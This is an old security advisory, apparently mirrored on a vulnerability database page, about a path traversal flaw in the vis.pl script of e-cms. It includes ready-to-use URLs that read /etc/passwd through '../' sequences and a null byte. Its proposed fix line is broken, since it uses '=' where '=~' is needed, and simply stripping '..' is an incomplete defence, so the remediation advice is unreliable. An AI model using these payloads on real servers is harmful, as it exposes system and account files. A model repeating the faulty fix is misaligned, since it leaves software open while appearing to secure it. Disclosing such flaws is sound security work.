Lucene search
K

vis.pl.txt

🗓️ 27 Jan 2006 00:00:00Reported by spher3Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Multiple transversal bug in vis.pl. Vis.pl perl script manages files to show, allowing access to sensitive files like passwords or accounts.

Code
`Hackers Center Security Group (http://www.hackerscenter.com/)  
spher3's Security Advisory   
  
  
Multiple transversal bug in vis.pl   
  
  
--------------------------------------------------------------------------   
  
Description:   
  
Vis.pl is a perl script which manages files in order to show these;  
you can find it in e-cms default files. The vulnerability taken in  
exam is classifiable as transversal bug. In fact can show to everybody  
files such as passwords or accounts.   
  
--------------------------------------------------------------------------   
  
Code Details:   
  
Vis.pl doesn't control cgi query except for:   
  
[...]   
  
if ( -e $datFile )  
{  
open ( DAT_FILE, "$datFile" );   
  
[...]   
  
This function controls only the file existence.  
Then the script start to open the file without check dangerous  
characters as "." and "/".  
So is simply to access where you want:   
  
http://[target]/cgi-bin/e-cms/vis/vis.pl?s=001&p=../../../../etc/passwd%00   
  
All variables that open files are unsafe:   
  
http://[target]/cgi-bin/e-cms/vis/vis.pl?s=../../../../etc/passwd%00   
  
--------------------------------------------------------------------------   
  
How to fix:   
  
You can fix this script with remove those dangerouse characters as taught  
from W3C WWW Security FAQ. Just adding a line:   
  
$datFile = s/\.\.//g;   
  
You have to insert a line like this for ALL variables which contain files  
to open.   
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation